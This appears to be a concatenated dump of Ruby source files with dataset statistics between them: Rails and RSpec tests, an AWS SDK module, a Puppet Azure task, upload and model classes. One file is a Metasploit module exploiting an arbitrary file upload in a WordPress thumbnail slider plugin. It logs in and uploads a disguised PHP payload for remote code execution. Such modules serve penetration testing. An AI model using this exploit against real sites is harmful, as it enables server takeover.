manifest = read_json(@filename)
assert manifest['api']['test'] =~ /:5000/
assert manifest['api']['test'] =~ /:5000/
assert_foreman_env env, manifest
end
def test_init_with_foreman_flag_and_post
kensa "init --foreman --sso post"
env = File.open(".env").read
manifest = read_json(@filename)
assert manifest['api']['test']['base_url'] =~ /:5000/
assert manifest['api']['test']['sso_url'] =~ /:5000/
assert_foreman_env env, manifest
end
end
| 27.125
| 73
| 0.642601
|
4aac145f6977ffeab6d32d92a65fe05708d75aa9
| 1,329
|
# frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'aws-sdk-core'
require 'aws-sigv4'
require_relative 'aws-sdk-ssooidc/types'
require_relative 'aws-sdk-ssooidc/client_api'
require_relative 'aws-sdk-ssooidc/client'
require_relative 'aws-sdk-ssooidc/errors'
require_relative 'aws-sdk-ssooidc/resource'
require_relative 'aws-sdk-ssooidc/customizations'
# This module provides support for AWS SSO OIDC. This module is available in the
# `aws-sdk-ssooidc` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# ssooidc = Aws::SSOOIDC::Client.new
# resp = ssooidc.create_token(params)
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS SSO OIDC are defined in the
# {Errors} module and all extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::SSOOIDC::Errors::ServiceError
# # rescues all AWS SSO OIDC API errors
# end
#
# See {Errors} for more information.
#
# @!group service
module Aws::SSOOIDC
GEM_VERSION = '1.7.0'
end
| 24.611111
| 80
| 0.735139
|
ed1f73cb9a15a713294aa7bf7f02759573f26cb7
| 1,077
|
require "rails_helper"
describe Message do
it "should get a short id" do
m = create(:message)
expect(m.short_id).to match(/^\A[a-zA-Z0-9]{1,10}\z/)
end
it "validates the length of short_id" do
m_valid_short_id = create(:message)
m_valid_short_id.short_id = 'a' * 50
expect(m_valid_short_id).not_to be_valid
end
it "can be deleted if sent by id=0" do
m = create(:message)
m.author_user_id = 0
m.deleted_by_author = true
expect(m.valid?).to be false
m.deleted_by_author = false
m.deleted_by_recipient = true
expect(m.valid?).to be true
end
describe "hat" do
it "can't be worn if user doesn't have that hat" do
message = build(:message, hat: create(:hat))
message.valid?
expect(message.errors[:hat]).to eq(['not wearable by author'])
end
it "can be one of the user's hats" do
user = create(:user)
hat = create(:hat, user: user)
message = create(:message, author: user, hat: hat)
message.valid?
expect(message.errors[:hat]).to be_empty
end
end
end
| 26.268293
| 68
| 0.645311
|
f713ffc4527d989fe7104fa1d3586180b1b94c0c
| 900
|
module PhotoCompetition
class FileUploader < CarrierWave::Uploader::Base
include CarrierWave::MiniMagick
if Rails.env.production? || Rails.env.staging?
storage :fog
else
storage :file
end
def extension_whitelist
%w(jpg jpeg png)
end
version :thumb do
process resize_to_fill: [100, 100]
def store_dir
"photo_competitions/#{model.edition.code}/thumbs/#{model.category.name.parameterize.underscore}"
end
end
def store_dir
"photo_competitions/#{model.edition.code}/#{model.category.name.parameterize.underscore}"
end
def filename
"#{secure_token}.#{file.extension}" if original_filename.present?
end
protected
def secure_token
var = :"@#{mounted_as}_secure_token"
model.instance_variable_get(var) or model.instance_variable_set(var, SecureRandom.uuid)
end
end
end
| 23.076923
| 104
| 0.683333
|
e8cbfdd3d41c8d77112e451279272ea767571405
| 5,036
|
#!/opt/puppetlabs/puppet/bin/ruby
require 'json'
require 'puppet'
def profiles_create_or_update(*args)
header_params = {}
argstring = args[0].delete('\\')
arg_hash = JSON.parse(argstring)
# Remove task name from arguments - should contain all necessary parameters for URI
arg_hash.delete('_task')
operation_verb = 'Put'
query_params, body_params, path_params = format_params(arg_hash)
uri_string = "https://management.azure.com//subscriptions/%{subscription_id}/resourceGroups/%{resource_group_name}/providers/Microsoft.Network/trafficmanagerprofiles/%{profile_name}" % path_params
unless query_params.empty?
uri_string = uri_string + '?' + to_query(query_params)
end
header_params['Content-Type'] = 'application/json' # first of #{parent_consumes}
return nil unless authenticate(header_params) == true
uri = URI(uri_string)
Net::HTTP.start(uri.host, uri.port, use_ssl: uri.scheme == 'https') do |http|
if operation_verb == 'Get'
req = Net::HTTP::Get.new(uri)
elsif operation_verb == 'Put'
req = Net::HTTP::Put.new(uri)
elsif operation_verb == 'Delete'
req = Net::HTTP::Delete.new(uri)
end
header_params.each { |x, v| req[x] = v } unless header_params.empty?
unless body_params.empty?
req.body=body_params.to_json
end
Puppet.debug("URI is (#{operation_verb}) #{uri} headers are #{header_params}")
response = http.request req # Net::HTTPResponse object
Puppet.debug("Called (#{operation_verb}) endpoint at #{uri}")
Puppet.debug("response code is #{response.code} and body is #{response.body}")
response
end
end
def to_query(hash)
if hash
return_value = hash.map { |x, v| "#{x}=#{v}" }.reduce { |x, v| "#{x}&#{v}" }
if !return_value.nil?
return return_value
end
end
return ''
end
def op_param(name, inquery, paramalias, namesnake)
operation_param = { :name => name, :location => inquery, :paramalias => paramalias, :namesnake => namesnake }
return operation_param
end
def format_params(key_values)
query_params = {}
body_params = {}
path_params = {}
key_values.each do |key,value|
if value.include? '{'
key_values[key]=JSON.parse(value.gsub("\'","\""))
end
end
op_params = [
op_param('api-version', 'query', 'api_version', 'api_version'),
op_param('error', 'body', 'error', 'error'),
op_param('parameters', 'body', 'parameters', 'parameters'),
op_param('profileName', 'path', 'profile_name', 'profile_name'),
op_param('resourceGroupName', 'path', 'resource_group_name', 'resource_group_name'),
op_param('subscriptionId', 'path', 'subscription_id', 'subscription_id'),
]
op_params.each do |i|
location = i[:location]
name = i[:name]
paramalias = i[:paramalias]
name_snake = i[:namesnake]
if location == 'query'
query_params[name] = key_values[name_snake] unless key_values[name_snake].nil?
query_params[name] = ENV["azure__#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil?
elsif location == 'body'
body_params[name] = key_values[name_snake] unless key_values[name_snake].nil?
body_params[name] = ENV["azure_#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil?
else
path_params[name_snake.to_sym] = key_values[name_snake] unless key_values[name_snake].nil?
path_params[name_snake.to_sym] = ENV["azure__#{name_snake}"] unless ENV["<no value>_#{name_snake}"].nil?
end
end
return query_params,body_params,path_params
end
def fetch_oauth2_token
Puppet.debug('Getting oauth2 token')
@client_id = ENV['azure_client_id']
@client_secret = ENV['azure_client_secret']
@tenant_id = ENV['azure_tenant_id']
uri = URI("https://login.microsoftonline.com/#{@tenant_id}/oauth2/token")
response = Net::HTTP.post_form(uri,
'grant_type' => 'client_credentials',
'client_id' => @client_id,
'client_secret' => @client_secret,
'resource' => 'https://management.azure.com/')
Puppet.debug("get oauth2 token response code is #{response.code} and body is #{response.body}")
success = response.is_a? Net::HTTPSuccess
if success
return JSON[response.body]["access_token"]
else
raise Puppet::Error, "Unable to get oauth2 token - response is #{response} and body is #{response.body}"
end
end
def authenticate(header_params)
token = fetch_oauth2_token
if token
header_params['Authorization'] = "Bearer #{token}"
return true
else
return false
end
end
def task
# Get operation parameters from an input JSON
params = STDIN.read
result = profiles_create_or_update(params)
if result.is_a? Net::HTTPSuccess
puts result.body
else
raise result.body
end
rescue StandardError => e
result = {}
result[:_error] = {
msg: e.message,
kind: 'puppetlabs-azure_arm/error',
details: { class: e.class.to_s },
}
puts result
exit 1
end
task
| 32.282051
| 198
| 0.667593
|
2608255300d68e6884e6947beae5e16555ae0ebd
| 2,445
|
if ENV["COVERAGE"]
# Run Coverage report
require 'simplecov'
SimpleCov.start do
add_group 'Controllers', 'app/controllers'
add_group 'Helpers', 'app/helpers'
add_group 'Mailers', 'app/mailers'
add_group 'Models', 'app/models'
add_group 'Views', 'app/views'
add_group 'Libraries', 'lib'
end
end
# This file is copied to spec/ when you run 'rails generate rspec:install'
ENV["RAILS_ENV"] ||= 'test'
begin
require File.expand_path("../dummy/config/environment", __FILE__)
rescue LoadError
$stderr.puts "Could not load dummy application. Please ensure you have run `bundle exec rake test_app`"
exit 1
end
require 'rspec/rails'
require 'ffaker'
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
Dir[File.dirname(__FILE__) + "/support/**/*.rb"].each { |f| require f }
require 'spree/testing_support/factories'
require 'spree/testing_support/preferences'
require 'spree/testing_support/authorization_helpers'
require 'spree/api/testing_support/caching'
require 'spree/api/testing_support/helpers'
require 'spree/api/testing_support/setup'
ActiveJob::Base.queue_adapter = :test
RSpec.configure do |config|
config.backtrace_exclusion_patterns = [/gems\/activesupport/, /gems\/actionpack/, /gems\/rspec/]
config.color = true
config.infer_spec_type_from_file_location!
config.expect_with :rspec do |c|
c.syntax = :expect
end
config.mock_with :rspec do |c|
c.syntax = :expect
end
config.include FactoryGirl::Syntax::Methods
config.include Spree::Api::TestingSupport::Helpers, type: :request
config.extend Spree::Api::TestingSupport::Setup, type: :request
config.include Spree::Api::TestingSupport::Helpers, type: :controller
config.extend Spree::Api::TestingSupport::Setup, type: :controller
config.include Spree::TestingSupport::Preferences
config.extend WithModel
config.fail_fast = ENV['FAIL_FAST'] || false
config.before(:each) do
Rails.cache.clear
reset_spree_preferences
Spree::Api::Config[:requires_authentication] = true
end
config.include ActiveJob::TestHelper
config.include VersionCake::TestHelpers, type: :controller
config.before(:each, type: :controller) do
set_request_version('', 1)
end
config.use_transactional_fixtures = true
config.example_status_persistence_file_path = "./spec/examples.txt"
config.order = :random
Kernel.srand config.seed
end
| 29.457831
| 105
| 0.747239
|
187429a6c12e7e592c0e96eb537efbb04986468d
| 1,219
|
# frozen_string_literal: true
require "test_helper"
require "rails/generators/erb/component_generator"
Rails.application.load_generators
class ErbGeneratorTest < Rails::Generators::TestCase
tests Erb::Generators::ComponentGenerator
destination Dir.mktmpdir
setup :prepare_destination
arguments %w[user]
def test_component_generator
run_generator
assert_file "app/components/user_component.html.erb" do |view|
assert_match(/<div>Add User template here<\/div>/, view)
end
end
def test_component_generator_with_sidecar
run_generator %w[user --sidecar]
assert_file "app/components/user_component/user_component.html.erb" do |view|
assert_match(/<div>Add User template here<\/div>/, view)
end
end
def test_component_with_namespace
run_generator %w[admins/user]
assert_file "app/components/admins/user_component.html.erb"
end
def test_component_with_namespace_and_sidecar
run_generator %w[admins/user --sidecar]
assert_file "app/components/admins/user_component/user_component.html.erb"
end
def test_component_with_inline
run_generator %w[user name --inline]
assert_no_file "app/components/user_component.html.erb"
end
end
| 24.877551
| 81
| 0.768663
|
28309407fc4473574fc9112e3f93808598cdfa5e
| 5,204
|
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
'Name' => "WordPress Responsive Thumbnail Slider Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in Responsive Thumbnail Slider
Plugin v1.0 for WordPress post authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Arash Khazaei', # EDB PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'EDB', '37998' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Responsive Thumbnail Slider Plugin v1.0', { } ]
],
'Privileged' => false,
'DisclosureDate' => "Aug 28 2015",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "Base path for WordPress", '/' ]),
OptString.new('WPUSERNAME', [ true, "WordPress Username to authenticate with", 'admin' ]),
OptString.new('WPPASSWORD', [ true, "WordPress Password to authenticate with", '' ])
])
end
def check
# The version regex found in extract_and_check_version does not work for this plugin's
# readme.txt, so we build a custom one.
check_code = check_version || check_plugin_path
if check_code
return check_code
else
return CheckCode::Safe
end
end
def check_version
plugin_uri = normalize_uri(target_uri.path, '/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt')
res = send_request_cgi(
'method' => 'GET',
'uri' => plugin_uri
)
if res && res.body && res.body =~ /Version:([\d\.]+)/
version = Gem::Version.new($1)
if version <= Gem::Version.new('1.0')
vprint_status("Plugin version found: #{version}")
return CheckCode::Appears
end
end
nil
end
def check_plugin_path
plugin_uri = normalize_uri(target_uri.path, '/wp-content/uploads/wp-responsive-images-thumbnail-slider/')
res = send_request_cgi(
'method' => 'GET',
'uri' => plugin_uri
)
if res && res.code == 200
vprint_status('Upload folder for wp-responsive-images-thumbnail-slider detected')
return CheckCode::Detected
end
nil
end
def login
auth_cookies = wordpress_login(datastore['WPUSERNAME'], datastore['WPPASSWORD'])
return fail_with(Failure::NoAccess, "Unable to log into WordPress") unless auth_cookies
store_valid_credential(user: datastore['WPUSERNAME'], private: datastore['WPPASSWORD'], proof: auth_cookies)
print_good("Logged into WordPress with #{datastore['WPUSERNAME']}:#{datastore['WPPASSWORD']}")
auth_cookies
end
def upload_payload(cookies)
manage_uri = 'wp-admin/admin.php?page=responsive_thumbnail_slider_image_management'
file_payload = get_write_exec_payload(:unlink_self => true)
file_name = "#{rand_text_alpha(5)}.php"
# attempt to access plugins page
plugin_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, manage_uri),
'cookie' => cookies
)
unless plugin_res && plugin_res.body.include?("tmpl-uploader-window")
fail_with(Failure::NoAccess, "Unable to reach Responsive Thumbnail Slider Plugin Page")
end
data = Rex::MIME::Message.new
data.add_part(file_payload, 'image/jpeg', nil, "form-data; name=\"image_name\"; filename=\"#{file_name}\"")
data.add_part(file_name.split('.')[0], nil, nil, "form-data; name=\"imagetitle\"")
data.add_part('Save Changes', nil, nil, "form-data; name=\"btnsave\"")
post_data = data.to_s
# upload the file
upload_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, manage_uri, '&action=addedit'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
page = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, manage_uri), 'cookie' => cookies)
fail_with(Failure::Unknown, "Unsure of successful upload") unless (upload_res && page && page.body =~ /New\s+image\s+added\s+successfully/)
retrieve_file(page, cookies)
end
def retrieve_file(res, cookies)
fname = res.body.scan(/slider\/(.*\.php)/).flatten[0]
fail_with(Failure::BadConfig, "Couldn't find file name") if fname.empty? || fname.nil?
file_uri = normalize_uri(target_uri.path, "wp-content/uploads/wp-responsive-images-thumbnail-slider/#{fname}")
print_good("Successful upload")
send_request_cgi(
'uri' => file_uri,
'method' => 'GET',
'cookie' => cookies
)
end
def exploit
unless check == CheckCode::Safe
auth_cookies = login
upload_payload(auth_cookies)
end
end
end
| 32.525
| 143
| 0.635088
|
ac631c3cc05809eebdb4d752bdcf95028d5a7565
| 3,220
|
require "active_model/validations/chef_version_validator"
class CookbookVersion < ApplicationRecord
include SeriousErrors
# Associations
# --------------------
has_many :cookbook_version_platforms, dependent: :destroy
has_many :supported_platforms, through: :cookbook_version_platforms
has_many :cookbook_dependencies, dependent: :destroy
has_many :metric_results, -> { includes :quality_metric }, inverse_of: :cookbook_version
belongs_to :cookbook
belongs_to :user
# Attachments
# --------------------
has_attached_file :tarball
# Validations
# --------------------
validates :license, presence: true, length: { maximum: 255 }
validates :description, presence: true
validates :readme, presence: true
validates :version, presence: true,
uniqueness: {
scope: :cookbook_id,
case_sensitive: false,
},
chef_version: true
validates_attachment(
:tarball,
presence: true,
content_type: {
content_type: ["application/x-gzip", "application/gzip",
"application/octet-stream", "application/x-tar",
"application/x-compressed-tar", "application/x-gtar",
"application/x-bzip2", "application/gzipped-tar",
"application/x-compressed", "application/download",
"application/x-gtar-compressed", "application/zip",
"application/x-bzip", "application/x-zip-compressed",
"application/cap", "application/x-tar-gz",
"application/postscript", "application/x-targz"],
message: ->(_, info) { "can not be #{info[:value]}." },
}
)
# Delegations
# --------------------
delegate :name, :owner, to: :cookbook
#
# Returns the verison of the +CookbookVersion+
#
# @example
# cookbook_version = CookbookVersion.new(version: '1.0.2')
# cookbook_version.to_param # => '1.0.2'
#
# @return [String] the version of the +CookbookVersion+
#
def to_param
version
end
#
# The total number of times this version has been downloaded
#
# @return [Fixnum]
#
def download_count
web_download_count + api_download_count
end
# Create a link between a SupportedPlatform and a CookbookVersion
#
# @param name [String] platform name
# @param version [String] platform version
#
def add_supported_platform(name, version)
platform = SupportedPlatform.for_name_and_version(name, version)
CookbookVersionPlatform.create! supported_platform: platform, cookbook_version: self
end
def cookbook_artifact_url
if Paperclip::Attachment.default_options[:storage] == "s3"
ENV["S3_URLS_EXPIRE"].present? ? tarball.expiring_url(ENV["S3_URLS_EXPIRE"].to_i) : tarball.url
else
"#{Supermarket::Host.full_url}#{tarball.url}"
end
end
def published_by
user || cookbook.owner
end
def metric_result_pass_rate
total_metric_results = metric_results.count
if total_metric_results > 0
((metric_results.where(failure: false).count / total_metric_results.to_f) * 100).round(0)
else
"-"
end
end
end
| 30.666667
| 101
| 0.638199
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.